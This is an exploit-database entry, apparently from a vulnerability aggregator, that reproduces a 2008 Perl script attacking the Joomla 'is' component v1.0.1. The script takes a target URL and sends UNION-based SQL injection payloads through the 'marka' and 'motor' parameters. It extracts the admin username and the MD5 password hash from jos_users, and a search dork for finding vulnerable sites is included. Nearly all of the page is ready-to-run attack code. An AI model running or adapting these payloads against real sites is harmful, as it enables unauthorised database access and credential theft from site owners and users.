Joomla Component is 1.0.1 Multiple Remote SQL Injection Exploit

🗓️ 03 Jul 2008 00:00:00Reported by RootType
Joomla Component v 1.0.1 Multiple Remote SQL Injectio

                                                #!/usr/bin/perl&nbsp;-w

#&nbsp;&nbsp;&nbsp;Joomla&nbsp;Component&nbsp;is&nbsp;&nbsp;v&nbsp;1.0.1&nbsp;&nbsp;Multiple&nbsp;Remote&nbsp;SQL&nbsp;Injection
#&nbsp;&nbsp;variables&nbsp;vuln&nbsp;:&nbsp;(&nbsp;marka&nbsp;)&nbsp;&nbsp;&amp;&nbsp;(&nbsp;motor&nbsp;)&nbsp;
########################################
#[*]&nbsp;Found&nbsp;by&nbsp;:&nbsp;Houssamix&nbsp;From&nbsp;H-T&nbsp;Team&nbsp;
#[*]&nbsp;H-T&nbsp;Team&nbsp;[&nbsp;HouSSaMix&nbsp;+&nbsp;ToXiC350&nbsp;]&nbsp;
#[*]&nbsp;Greetz&nbsp;:&nbsp;Mr.Al3FrItE&nbsp;&amp;&nbsp;Islamic&nbsp;Security&nbsp;Team&nbsp;&nbsp;&amp;&nbsp;Mounita20&nbsp;&amp;&nbsp;CoNaN&nbsp;and&nbsp;all&nbsp;musulmans&nbsp;hackers

#[*]&nbsp;Component_Name:&nbsp;&nbsp;is
#[*]&nbsp;Script_Name:&nbsp;Joomla
#[*]&nbsp;Dork&nbsp;:&nbsp;index.php?option=com_is
########################################
#&nbsp;&lt;name&gt;is&lt;/name&gt;
#&nbsp;&lt;creationDate&gt;09.05.2006&lt;/creationDate&gt;
#&nbsp;&lt;author&gt;MAXX&nbsp;MARKETING&lt;/author&gt;
#&nbsp;&lt;copyright&gt;by&nbsp;2006&nbsp;Maxx&nbsp;Marketing&lt;/copyright&gt;
#&nbsp;&lt;authorEmail&gt;[email protected]&lt;/authorEmail&gt;
#&nbsp;&lt;authorUrl&gt;www.maxx-marketing.net&lt;/authorUrl&gt;
#&nbsp;&lt;version&gt;1.0.1&lt;/version&gt;&nbsp;


system(&quot;color&nbsp;f&quot;);
print&nbsp;&quot;\t\t########################################################\n\n&quot;;
print&nbsp;&quot;\t\t#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Viva&nbsp;Islam&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#\n\n&quot;;
print&nbsp;&quot;\t\t########################################################\n\n&quot;;
print&nbsp;&quot;\t\t#&nbsp;Joomla&nbsp;Component&nbsp;Is&nbsp;v&nbsp;1.0.1&nbsp;multiple&nbsp;SQL&nbsp;Injection&nbsp;&nbsp;&nbsp;#\n\n&quot;;
print&nbsp;&quot;\t\t#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;H-T&nbsp;Team&nbsp;[HouSSaMiX&nbsp;-&nbsp;ToXiC350]	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#\n\n&quot;;
print&nbsp;&quot;\t\t########################################################\n\n&quot;;

use&nbsp;LWP::UserAgent;

print&nbsp;&quot;\nEnter&nbsp;your&nbsp;Target&nbsp;(http://site.com/joomla/):&nbsp;&quot;;
	chomp(my&nbsp;$target=&lt;STDIN&gt;);

$uname=&quot;username&quot;;
$magic=&quot;jos_users&quot;;

$b&nbsp;=&nbsp;LWP::UserAgent-&gt;new()&nbsp;or&nbsp;die&nbsp;&quot;Could&nbsp;not&nbsp;initialize&nbsp;browser\n&quot;;
$b-&gt;agent('Mozilla/4.0&nbsp;(compatible;&nbsp;MSIE&nbsp;7.0;&nbsp;Windows&nbsp;NT&nbsp;5.1)');

$host&nbsp;=&nbsp;$target&nbsp;.&nbsp;&quot;index.php?option=com_is&amp;task=model&amp;marka=-1%20union%20select%201,2,concat(CHAR(60,117,115,101,114,62),&quot;.$uname.&quot;,CHAR(60,117,115,101,114,62)),4,5,6,7,8,9,10,11,12,13&nbsp;from/**/&quot;.$magic.&quot;/**&quot;;
$res&nbsp;=&nbsp;$b-&gt;request(HTTP::Request-&gt;new(GET=&gt;$host));
$answer&nbsp;=&nbsp;$res-&gt;content;

print&nbsp;&quot;\n[+]&nbsp;The&nbsp;Target&nbsp;:&nbsp;&quot;.$target.&quot;&quot;;

if&nbsp;($answer&nbsp;=~&nbsp;/&lt;user&gt;(.*?)&lt;user&gt;/){
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
		print&nbsp;&quot;\n[+]&nbsp;Admin&nbsp;User&nbsp;:&nbsp;$1&quot;;
}
$host2&nbsp;=&nbsp;$target&nbsp;.&nbsp;&quot;index.php?option=com_is&amp;task=motor&amp;motor=-1%20union%20select%201,2,password,4,5,6,7,8,9,10,11,12,13/**/from/**/jos_users--&quot;;
$res2&nbsp;=&nbsp;$b-&gt;request(HTTP::Request-&gt;new(GET=&gt;$host2));
$answer&nbsp;=&nbsp;$res2-&gt;content;
if&nbsp;($answer&nbsp;=~/([0-9a-fA-F]{32})/){
		print&nbsp;&quot;\n[+]&nbsp;Admin&nbsp;Hash&nbsp;:&nbsp;$1\n\n&quot;;
		print&nbsp;&quot;#&nbsp;&nbsp;&nbsp;Exploit&nbsp;succeed!&nbsp;&nbsp;#\n\n&quot;;
}
else{print&nbsp;&quot;\n[-]&nbsp;Exploit&nbsp;Failed...\n&quot;;
}

#&nbsp;codec&nbsp;&nbsp;by&nbsp;Houssamix&nbsp;From&nbsp;H-T&nbsp;Team
03 Jul 2008 00:00Current
7.1High risk
Vulners AI Score7.1